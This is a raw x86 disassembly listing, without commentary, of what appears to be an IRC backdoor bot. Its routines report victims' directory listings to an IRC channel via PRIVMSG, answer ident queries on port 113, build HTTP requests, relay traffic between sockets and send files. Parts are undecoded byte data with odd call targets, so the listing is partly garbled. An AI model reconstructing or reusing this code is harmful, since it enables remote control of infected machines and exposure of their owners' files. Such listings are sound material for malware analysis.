jz short loc_40FB64 push [ebp+arg_C] call sub_41AFE0 cmp eax, 2 pop ecx jbe short loc_40FB64 push [ebp+arg_C] call sub_41AFE0 sub eax, 3 pop ecx jz short loc_40FB15 loc_40FB09: ; CODE XREF: sub_40F96B+1A8j mov ecx, [ebp+arg_C] cmp byte ptr [eax+ecx], 2Fh jz short loc_40FB15 dec eax jnz short loc_40FB09 loc_40FB15: ; CODE XREF: sub_40F96B+19Cj ; sub_40F96B+1A5j inc eax push eax lea eax, [ebp+var_594] push [ebp+arg_C] push eax call sub_41B5F0 add esp, 0Ch lea eax, [ebp+var_594] push eax push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CB6A4 loc_40FB64: ; CODE XREF: sub_40F96B+180j ; sub_40F96B+18Ej lea eax, [ebp+var_388] push eax push edi nop call near ptr 25C0000h lea ecx, [ebp+var_388] mov [ebp+arg_0], eax push ecx push eax call near ptr 27503ADh nop test eax, eax jz loc_40FF54 mov edi, 1FFh loc_40FB90: ; CODE XREF: sub_40F96B+5E3j cmp [ebp+var_388], ebx jz loc_40FF3C lea eax, [ebp+var_35C] push offset a__ ; ".." push eax call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40FF3C lea eax, [ebp+var_35C] push offset a_ ; "." push eax call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40FF3C lea eax, [ebp+var_20] push eax lea eax, [ebp+var_374] push eax nop call near ptr 2750000h lea eax, [ebp+var_18] push eax lea eax, [ebp+var_20] push eax nop call near ptr 274085Fh mov ax, [ebp+var_10] mov ecx, offset aPm ; "PM" cmp ax, 0Ch ja short loc_40FC05 mov ecx, offset aAm ; "AM" loc_40FC05: ; CODE XREF: sub_40F96B+293j cmp ax, 0Ch movzx eax, ax jbe short loc_40FC11 sub eax, 0Ch loc_40FC11: ; CODE XREF: sub_40F96B+2A1j push ecx movzx ecx, [ebp+var_E] push ecx push eax movzx eax, [ebp+var_18] push eax movzx eax, [ebp+var_12] push eax movzx eax, [ebp+var_16] push eax lea eax, [ebp+var_48] push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s" push eax call sub_41B886 add esp, 20h test byte ptr [ebp+var_388], 10h jz loc_40FDB4 inc [ebp+var_8] cmp [ebp+arg_8], ebx jz short loc_40FC85 lea eax, [ebp+var_35C] push eax push offset aS ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push [ebp+arg_8] push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n" jmp loc_40FEFD ; --------------------------------------------------------------------------- loc_40FC85: ; CODE XREF: sub_40F96B+2E0j cmp [ebp+arg_C], ebx jz loc_40FD6F push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CB6A4 lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset aSS_0 ; "%s%s/" push edi push eax call sub_41B980 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CB6A4 lea eax, [ebp+var_35C] push eax call sub_41AFE0 cmp eax, 1Eh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_40FD25 push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>" jmp short loc_40FD2A ; --------------------------------------------------------------------------- loc_40FD25: ; CODE XREF: sub_40F96B+3B1j push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>" loc_40FD2A: ; CODE XREF: sub_40F96B+3B8j lea eax, [ebp+var_248] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CB6A4 lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_40FEFE ; --------------------------------------------------------------------------- loc_40FD6F: ; CODE XREF: sub_40F96B+31Dj lea eax, [ebp+var_35C] push eax push offset aS ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push offset a31s21s ; "%-31s %-21s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 14h jmp loc_40FF0D ; --------------------------------------------------------------------------- loc_40FDB4: ; CODE XREF: sub_40F96B+2D4j inc [ebp+var_4] cmp [ebp+arg_8], ebx jz short loc_40FDF3 push ebx push [ebp+var_368] call sub_416923 pop ecx pop ecx push eax lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push [ebp+arg_8] push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n" push esi loc_40FDDF: ; CODE XREF: sub_40F96B+577j lea eax, [ebp+var_248] push eax call sub_41B980 add esp, 1Ch jmp loc_40FF0D ; --------------------------------------------------------------------------- loc_40FDF3: ; CODE XREF: sub_40F96B+44Fj cmp [ebp+arg_C], ebx jz loc_40FEE7 push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CB6A4 lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset dword_429ACC push edi push eax call sub_41B980 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CB6A4 lea eax, [ebp+var_35C] push eax call sub_41AFE0 cmp eax, 1Fh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_40FE93 push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>" jmp short loc_40FE98 ; --------------------------------------------------------------------------- loc_40FE93: ; CODE XREF: sub_40F96B+51Fj push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>" loc_40FE98: ; CODE XREF: sub_40F96B+526j lea eax, [ebp+var_248] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CB6A4 mov eax, [ebp+var_368] shr eax, 0Ah push eax lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_40FDDF ; --------------------------------------------------------------------------- loc_40FEE7: ; CODE XREF: sub_40F96B+48Bj push [ebp+var_368] lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n" loc_40FEFD: ; CODE XREF: sub_40F96B+315j push esi loc_40FEFE: ; CODE XREF: sub_40F96B+3FFj lea eax, [ebp+var_248] push eax call sub_41B980 add esp, 18h loc_40FF0D: ; CODE XREF: sub_40F96B+444j ; sub_40F96B+483j lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CB6A4 cmp [ebp+arg_8], ebx jz short loc_40FF3C push 7D0h nop call near ptr 2680000h loc_40FF3C: ; CODE XREF: sub_40F96B+22Bj ; sub_40F96B+246j ... lea eax, [ebp+var_388] push eax push [ebp+arg_0] call near ptr 27503ADh nop test eax, eax jnz loc_40FB90 loc_40FF54: ; CODE XREF: sub_40F96B+21Aj push [ebp+arg_0] call near ptr 2740000h nop cmp [ebp+arg_8], ebx jz short loc_40FF97 mov eax, [ebp+var_8] cdq push edx push eax call sub_416923 pop ecx pop ecx push eax mov eax, [ebp+var_4] cdq push edx push eax call sub_416923 pop ecx pop ecx push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"... push eax call sub_41B886 add esp, 14h jmp short loc_40FFCB ; --------------------------------------------------------------------------- loc_40FF97: ; CODE XREF: sub_40F96B+5F5j cmp [ebp+arg_C], ebx jz short loc_40FFB1 lea eax, [ebp+var_248] push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... push eax call sub_41B886 pop ecx pop ecx jmp short loc_40FFCB ; --------------------------------------------------------------------------- loc_40FFB1: ; CODE XREF: sub_40F96B+62Fj push [ebp+var_8] lea eax, [ebp+var_248] push [ebp+var_4] push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n" push eax call sub_41B886 add esp, 10h loc_40FFCB: ; CODE XREF: sub_40F96B+62Aj ; sub_40F96B+644j lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CB6A4 pop edi pop esi xor eax, eax pop ebx leave retn sub_40F96B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FFF1 proc near ; CODE XREF: sub_40F531+13Cp var_404 = byte ptr -404h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 404h push ebx push esi xor esi, esi push edi push esi push esi push 3 push esi push 1 push 80000000h push [ebp+arg_4] mov edi, 400h mov [ebp+var_4], esi call near ptr 27009D7h nop mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_4100A9 push esi push ebx nop call near ptr 27309A1h cmp eax, esi mov [ebp+arg_4], eax jz short loc_4100A2 loc_410036: ; CODE XREF: sub_40FFF1+AFj push 400h lea eax, [ebp+var_404] push esi push eax call sub_41B590 add esp, 0Ch loc_41004B: ; DATA XREF: ___:00438128o cmp edi, [ebp+arg_4] loc_41004E: ; DATA XREF: ___:0043813Co jbe short loc_410053 mov edi, [ebp+arg_4] loc_410053: ; CODE XREF: sub_40FFF1:loc_41004Ej mov eax, [ebp+arg_4] push 2 neg eax push esi push eax push ebx nop call near ptr 2760000h lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_404] push edi push eax push ebx call near ptr 2700000h nop push esi lea eax, [ebp+var_404] push edi push eax push [ebp+arg_0] call dword_4CB6A4 cmp eax, 0FFFFFFFFh jnz short loc_41009D call dword_4CB5E8 cmp eax, 2733h jnz short loc_4100A2 xor eax, eax loc_41009D: ; CODE XREF: sub_40FFF1+9Bj sub [ebp+arg_4], eax jnz short loc_410036 loc_4100A2: ; CODE XREF: sub_40FFF1+43j ; sub_40FFF1+A8j push ebx call near ptr 2660919h nop loc_4100A9: ; CODE XREF: sub_40FFF1+30j pop edi pop esi pop ebx leave retn sub_40FFF1 endp ; =============== S U B R O U T I N E ======================================= sub_4100AE proc near ; CODE XREF: sub_40F6B4+181p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi push edi call sub_41AFE0 test eax, eax pop ecx jbe short loc_4100D7 loc_4100C1: ; CODE XREF: sub_4100AE+27j cmp byte ptr [esi+edi], 5Ch jnz short loc_4100CB mov byte ptr [esi+edi], 2Fh loc_4100CB: ; CODE XREF: sub_4100AE+17j push edi inc esi call sub_41AFE0 cmp esi, eax pop ecx jb short loc_4100C1 loc_4100D7: ; CODE XREF: sub_4100AE+11j mov eax, edi pop edi pop esi retn sub_4100AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4100DC proc near ; CODE XREF: sub_401ACD+5298p var_4A0 = byte ptr -4A0h var_310 = byte ptr -310h var_110 = byte ptr -110h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 4A0h push ebx lea eax, [ebp+var_4A0] push edi push eax push 101h call dword_4CB5C4 push 6 push 1 push 2 call dword_4CB6D4 mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_14] call dword_4CB654 push [ebp+arg_10] mov [ebp+var_E], ax call sub_40AAFA pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push ebx call dword_4CB5FC cmp eax, 0FFFFFFFFh jz short loc_4101B9 mov eax, [ebp+arg_20] cmp eax, edi jnz short loc_410155 mov eax, offset dword_43D808 loc_410155: ; CODE XREF: sub_4100DC+72j push esi mov esi, 100h push [ebp+arg_10] push eax lea eax, [ebp+var_110] push [ebp+arg_1C] push [ebp+arg_18] push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"... push esi push eax call sub_41B980 add esp, 1Ch lea eax, [ebp+var_110] push edi push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_110] push eax push ebx call dword_4CB6A4 push esi lea eax, [ebp+var_110] push edi push eax call sub_41C310 add esp, 0Ch lea eax, [ebp+var_110] push edi push esi push eax push ebx call dword_4CB66C pop esi loc_4101B9: ; CODE XREF: sub_4100DC+6Bj push ebx call dword_4CB6EC call dword_4CB5AC lea eax, [ebp+var_110] push eax lea eax, [ebp+var_310] push eax call sub_41B886 cmp [ebp+arg_C], edi pop ecx pop ecx jnz short loc_4101F9 push edi lea eax, [ebp+var_310] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A73 add esp, 14h loc_4101F9: ; CODE XREF: sub_4100DC+102j pop edi pop ebx leave retn sub_4100DC endp ; --------------------------------------------------------------------------- loc_4101FD: ; DATA XREF: ___:00401666o ; sub_401ACD+436Ao push ebp mov ebp, esp sub esp, 238h push ebx push esi push edi push 10h pop edi xor esi, esi push edi lea eax, [ebp-1Ch] push esi push eax mov [ebp-8], esi call sub_41B590 add esp, 0Ch mov word ptr [ebp-1Ch], 2 push 71h call dword_4CB654 push esi push 1 push 2 mov [ebp-1Ah], ax mov [ebp-18h], esi call dword_4CB6D4 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_410361 mov eax, [ebp+8] push edi imul eax, 234h mov dword_43E59C[eax], ebx lea eax, [ebp-1Ch] push eax push ebx call dword_4CB680 cmp eax, 0FFFFFFFFh jz loc_410361 push 5 push ebx call dword_4CB67C cmp eax, 0FFFFFFFFh jz loc_410361 mov [ebp-0Ch], edi mov edi, 200h loc_410288: ; CODE XREF: ___:004102E7j ; ___:0041034Aj ... lea eax, [ebp-0Ch] push eax lea eax, [ebp-2Ch] push eax push ebx call dword_4CB6E8 cmp eax, 0FFFFFFFFh mov [ebp-4], eax jz loc_41035C movzx eax, word ptr [ebp-2Ah] push eax push dword ptr [ebp-28h] call dword_4CB6E0 push eax lea eax, [ebp-238h] push offset dword_43468C push eax call sub_41B886 lea eax, [ebp-238h] push eax call sub_4151AD add esp, 14h lea eax, [ebp-238h] push esi push edi push eax push dword ptr [ebp-4] call dword_4CB66C cmp eax, 0FFFFFFFFh jz short loc_410288 lea eax, [ebp-238h] push esi push eax call sub_417F80 push 0Ch lea eax, [ebp-38h] push esi push eax call sub_41B590 push esi push esi lea eax, [ebp-38h] push 2 push eax call sub_40B08E add esp, 24h push eax push offset aUseridUnixS ; " : USERID : UNIX : %s\r\n" lea eax, [ebp-238h] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp-238h] push esi push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp-238h] push eax push dword ptr [ebp-4] call dword_4CB6A4 cmp eax, 0FFFFFFFFh jz loc_410288 mov dword ptr [ebp-8], 1 jmp loc_410288 ; --------------------------------------------------------------------------- loc_41035C: ; CODE XREF: ___:0041029Dj cmp [ebp-8], esi jnz short loc_410388 loc_410361: ; CODE XREF: ___:00410244j ; ___:00410268j ... call dword_4CB5E8 push eax lea eax, [ebp-238h] push offset dword_434648 push eax call sub_41B886 lea eax, [ebp-238h] push eax call sub_4151AD add esp, 10h loc_410388: ; CODE XREF: ___:0041035Fj push ebx call dword_4CB6EC push dword ptr [ebp-4] call dword_4CB6EC push dword ptr [ebp+8] call sub_40B413 pop ecx push esi nop call near ptr 26E0000h pop edi pop esi pop ebx loc_4103AB: ; DATA XREF: sub_401ACD+613Co push ebp mov ebp, esp sub esp, 350h mov eax, [ebp+8] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp-150h] push 10h rep movsd pop edi mov dword ptr [eax+120h], 1 xor esi, esi push edi lea eax, [ebp-14h] push esi push eax call sub_41B590 add esp, 0Ch mov word ptr [ebp-14h], 2 push dword ptr [ebp-44h] call dword_4CB654 push 6 push 1 push 2 mov [ebp-12h], ax mov [ebp-10h], esi mov [ebp-4], edi call dword_4CB6D4 cmp eax, 0FFFFFFFFh mov [ebp+8], eax jz loc_410517 mov ecx, [ebp-40h] push 1 imul ecx, 234h push 401h push esi push eax mov dword_43E59C[ecx], eax call dword_4CB564 lea eax, [ebp-14h] push edi push eax push dword ptr [ebp+8] call dword_4CB680 test eax, eax jnz loc_410517 push 0Ah push dword ptr [ebp+8] call dword_4CB67C test eax, eax jnz loc_410517 loc_41045B: ; CODE XREF: ___:00410471j lea eax, [ebp-4] push eax lea eax, [ebp-28h] push eax push dword ptr [ebp+8] call dword_4CB6E8 mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_41045B movzx eax, word ptr [ebp-26h] push dword ptr [ebp-40h] mov [ebp-14Ch], edi mov [ebp-30h], esi push eax push dword ptr [ebp-24h] call dword_4CB6E0 push eax lea eax, [ebp-350h] push offset unk_4346F4 push eax call sub_41B886 push edi lea eax, [ebp-350h] push 18h push eax call sub_40B0F7 mov [ebp-3Ch], eax imul eax, 234h mov ecx, [ebp-40h] add esp, 20h mov dword_43E594[eax], ecx lea eax, [ebp-18h] push eax lea eax, [ebp-150h] push esi push eax push offset loc_41053C push esi push esi nop ; --------------------------------------------------------------------------- db 0E8h dd 226FBBCh, 69C44D8Bh, 234C9h, 89C63B00h, 43E5A481h, 39137400h dd 850FD075h, 0FFFFFF63h, 0E890326Ah, 226FB00h, 0E890EDEBh dd 22705B6h, 46B86850h, 0EE80043h, 5900004Dh ; --------------------------------------------------------------------------- pop ecx jmp short loc_41051A ; --------------------------------------------------------------------------- loc_410517: ; CODE XREF: ___:0041040Ej ; ___:00410442j ... mov edi, [ebp+8] loc_41051A: ; CODE XREF: ___:00410515j push edi call dword_4CB6EC push dword ptr [ebp+8] call dword_4CB6EC push dword ptr [ebp-40h] call sub_40B413 pop ecx push esi nop call near ptr 26E0000h pop edi pop esi loc_41053C: ; DATA XREF: ___:004104CFo push ebp mov ebp, esp mov eax, 1344h call sub_41BB20 mov eax, [ebp+8] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp-144h] rep movsd mov ebx, [ebp-30h] push 1 pop ecx mov [ebp-4], ebx push 6 push ecx push 2 mov [eax+120h], ecx call dword_4CB6D4 mov esi, eax xor edi, edi cmp esi, 0FFFFFFFFh mov [ebp+8], esi jz loc_4106F2 push 10h lea eax, [ebp-18h] push edi push eax call sub_41B590 add esp, 0Ch mov word ptr [ebp-18h], 2 push dword ptr [ebp-3Ch] call dword_4CB654 mov [ebp-16h], ax lea eax, [ebp-13Ch] push eax call dword_4CB694 cmp eax, 0FFFFFFFFh mov [ebp-8], eax jnz short loc_4105CC lea eax, [ebp-13Ch] push eax call dword_4CB6D8 jmp short loc_4105DA ; --------------------------------------------------------------------------- loc_4105CC: ; CODE XREF: ___:004105BBj push 2 lea eax, [ebp-8] push 4 push eax call dword_4CB60C loc_4105DA: ; CODE XREF: ___:004105CAj cmp eax, edi jz loc_4106F2 mov eax, [eax+0Ch] push 10h mov eax, [eax] mov eax, [eax] mov [ebp-14h], eax lea eax, [ebp-18h] push eax push esi call dword_4CB5FC cmp eax, 0FFFFFFFFh jz loc_4106F2 movzx eax, word ptr [ebp-16h] push dword ptr [ebp-34h] mov [ebp-20h], edi push eax push dword ptr [ebp-14h] call dword_4CB6E0 push eax lea eax, [ebp-344h] push offset unk_43477C push eax call sub_41B886 push esi lea eax, [ebp-344h] push 18h push eax call sub_40B0F7 imul ebx, 234h mov [ebp-30h], eax imul eax, 234h mov ecx, [ebp-34h] lea esi, dword_43E59C[ebx] mov dword_43E594[eax], ecx add esp, 20h mov ecx, [esi] mov dword_43E5A0[eax], ecx lea eax, [ebp-1Ch] push eax lea eax, [ebp-144h] push edi push eax push offset loc_410723 push edi push edi nop call near ptr 2680098h mov ecx, [ebp-30h] imul ecx, 234h cmp eax, edi mov dword_43E5A4[ecx], eax jz short loc_4106DF loc_41068C: ; CODE XREF: ___:00410699j cmp [ebp-20h], edi jnz short loc_41069B push 32h nop call near ptr 2680000h jmp short loc_41068C ; --------------------------------------------------------------------------- loc_41069B: ; CODE XREF: ___:0041068Fj mov ebx, 1000h loc_4106A0: ; CODE XREF: ___:004106DBj push ebx lea eax, [ebp-1344h] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp-1344h] push edi push ebx push eax push dword ptr [esi] call dword_4CB66C cmp eax, edi jle short loc_4106F2 push edi push eax lea eax, [ebp-1344h] push eax push dword ptr [ebp+8] call dword_4CB6A4 cmp eax, 0FFFFFFFFh jnz short loc_4106A0 jmp short loc_4106F2 ; --------------------------------------------------------------------------- loc_4106DF: ; CODE XREF: ___:0041068Aj call near ptr 2680ABEh nop push eax push offset unk_43473C call sub_415221 pop ecx pop ecx loc_4106F2: ; CODE XREF: ___:00410580j ; ___:004105DCj ... mov eax, [ebp-4] imul eax, 234h push dword_43E59C[eax] call dword_4CB6EC push dword ptr [ebp+8] call dword_4CB6EC push dword ptr [ebp-4] call sub_40B413 pop ecx push edi nop call near ptr 26E0000h pop edi pop esi pop ebx loc_410723: ; DATA XREF: ___:0041066Co push ebp mov ebp, esp mov eax, 1128h call sub_41BB20 mov eax, [ebp+8] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp-128h] rep movsd mov esi, [ebp-14h] mov dword ptr [eax+124h], 1 imul esi, 234h mov edi, 1000h loc_41075A: ; CODE XREF: ___:0041079Fj push edi lea eax, [ebp-1128h] push 0 push eax call sub_41B590 add esp, 0Ch lea eax, [ebp-1128h] push 0 push edi push eax push dword_43E5A0[esi] call dword_4CB66C test eax, eax jle short loc_4107A1 push 0 push eax lea eax, [ebp-1128h] push eax push dword_43E59C[esi] call dword_4CB6A4 cmp eax, 0FFFFFFFFh jnz short loc_41075A loc_4107A1: ; CODE XREF: ___:00410784j push dword_43E5A0[esi] call dword_4CB6EC push dword ptr [ebp-14h] call sub_40B413 pop ecx push 0 nop ; --------------------------------------------------------------------------- db 0E8h, 42h, 0F8h ; --------------------------------------------------------------------------- sub al, 2 pop edi pop esi push ebp mov ebp, esp sub esp, 3D4h mov eax, [ebp+8] push ebx push esi push edi push 78h mov esi, eax pop ecx lea edi, [ebp-3D4h] push 1 mov dword ptr [ebp-0Ch], 1Eh pop ebx rep movsd mov [eax+1DCh], ebx mov eax, [ebp-208h] mov [ebp+8], eax imul eax, 234h lea esi, dword_43E59C[eax] xor edi, edi mov [ebp-8], edi mov [ebp-1F4h], ebx mov eax, [esi] mov [ebp-1F0h], eax lea eax, [ebp-0Ch] push eax push edi lea eax, [ebp-1F4h] push edi push eax push edi call dword_4CB63C test eax, eax jnz short loc_410844 push dword ptr [esi] call dword_4CB6EC push dword ptr [ebp+8] call sub_40B413 pop ecx push edi nop call near ptr 26E0000h loc_410844: ; CODE XREF: ___:0041082Aj push edi lea eax, [ebp-3Ch] push ebx push eax push dword ptr [esi] call dword_4CB66C lea eax, [ebp-2Ch] push 10h push eax push dword ptr [esi] call sub_4109C5 lea eax, [ebp-4Ch] push 10h push eax push dword ptr [esi] call sub_4109C5 lea eax, [ebp-0F0h] push 40h push eax push dword ptr [esi] call sub_4109C5 add esp, 24h lea eax, [ebp-4] mov dword ptr [ebp-4], 10h push eax lea eax, [ebp-1Ch] push eax push dword ptr [esi] call dword_4CB5A8 test eax, eax jz short loc_4108BD call dword_4CB5E8 push eax push offset unk_434854 call sub_415221 push dword ptr [ebp+8] call sub_40B413 add esp, 0Ch push edi nop call near ptr 26E0000h loc_4108BD: ; CODE XREF: ___:00410898j push 2 lea eax, [ebp-18h] push 4 push eax call dword_4CB60C cmp eax, edi jnz short loc_4108E7 push dword ptr [ebp-18h] call dword_4CB6E0 push eax lea eax, [ebp-0B0h] push eax call sub_41B886 jmp short loc_4108F5 ; --------------------------------------------------------------------------- loc_4108E7: ; CODE XREF: ___:004108CDj push dword ptr [eax] lea eax, [ebp-0B0h] push eax call sub_41BEB0 loc_4108F5: ; CODE XREF: ___:004108E5j pop ecx pop ecx push edi push ebx push offset dword_43D808 push dword ptr [esi] call dword_4CB6A4 cmp dword_4CE3B8, edi jnz short loc_410957 push dword ptr [ebp-18h] lea eax, [ebp-350h] push eax lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax call sub_410A1F add esp, 10h test eax, eax jnz short loc_410957 push edi push 13h push offset aPermissionDeni ; "Permission denied\n" push dword ptr [esi] call dword_4CB6A4 push dword ptr [esi] call dword_4CB6EC push dword ptr [ebp+8] call sub_40B413 pop ecx push edi call near ptr 26E0000h nop loc_410957: ; CODE XREF: ___:0041090Cj ; ___:0041092Dj lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax push offset unk_434818 call sub_415221 push dword ptr [ebp+8] call sub_410CD6 add esp, 10h test eax, eax jnz short loc_41099E call near ptr 2680ABEh nop push eax push offset unk_4347EC call sub_415221 push dword ptr [ebp+8] call sub_40B413 add esp, 0Ch push ebx nop call near ptr 26E0000h loc_41099E: ; CODE XREF: ___:00410979j lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax push offset unk_4347C0 call sub_415221 push dword ptr [ebp+8] call sub_40B413 add esp, 10h push edi call near ptr 26E0000h nop ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4109C5 proc near ; CODE XREF: ___:0041085Ap ; ___:00410867p ... var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push esi push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_4CB66C cmp eax, 1 jnz short loc_410A15 mov esi, [ebp+arg_4] loc_4109E3: ; CODE XREF: sub_4109C5+41j mov al, [ebp+var_1] mov [esi], al inc esi dec [ebp+arg_8] jz short loc_410A0A test al, al jz short loc_410A19 push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_4CB66C cmp eax, 1 jz short loc_4109E3 jmp short loc_410A15 ; --------------------------------------------------------------------------- loc_410A0A: ; CODE XREF: sub_4109C5+27j push offset unk_434880 call sub_415221 pop ecx loc_410A15: ; CODE XREF: sub_4109C5+19j ; sub_4109C5+43j xor eax, eax jmp short loc_410A1C ; --------------------------------------------------------------------------- loc_410A19: ; CODE XREF: sub_4109C5+2Bj push 1 pop eax loc_410A1C: ; CODE XREF: sub_4109C5+52j pop esi leave retn sub_4109C5 endp ; =============== S U B R O U T I N E ======================================= sub_410A1F proc near ; CODE XREF: ___:00410923p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_0] push [esp+4+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_410A4A push [esp+arg_4] push [esp+4+arg_0] push offset dword_4348AC call sub_415221 add esp, 0Ch xor eax, eax retn ; --------------------------------------------------------------------------- loc_410A4A: ; CODE XREF: sub_410A1F+11j push 1 pop eax retn sub_410A1F endp ; --------------------------------------------------------------------------- word_410A4E dw 8B55h ; DATA XREF: sub_401ACD+23D5o dd 0A4EC81ECh, 8B000005h, 57560845h, 8B59786Ah, 0ECBD8DF0h dd 6AFFFFFDh, 5FA5F301h, 1DCB889h, 858D0000h, 0FFFFFA5Ch dd 2026850h, 15FF0000h, 4CB5C4h, 0C63BF633h, 68501D74h dd 434A1Ch, 478CE8h, 0B475FF00h, 0FFA976E8h, 0CC483FFh dd 59E89057h, 57022CF5h, 410CCC68h, 4DE89000h, 850235F5h dd 902975C0h, 270001E8h, 0D8685002h, 0E8004349h, 4759h dd 15FF5959h, 4CB5ACh, 0E8B475FFh, 0FFFFA93Bh, 0E8905759h dd 22CF520h, 8D106A53h, 5056E045h, 0AAA3E8h, 0CC48300h dd 0E045C766h, 75FF0002h, 5415FFB0h, 6A004CB6h, 26A5706h dd 0E2458966h, 0FFE47589h, 4CB6D415h, 83D88B00h, 840FFFFBh dd 13Bh, 6AB4458Bh, 34C06910h, 89000002h, 43E59C98h, 0E0458D00h dd 15FF5350h, 4CB680h, 850FC085h, 117h, 0FFFFFF68h, 15FF537Fh dd 4CB67Ch, 850FC085h, 103h, 43499C68h, 0F045C700h, 0Ch dd 89F47589h, 42E8F875h, 59000046h, 8D087D89h, 45C7FC45h dd 10FCh, 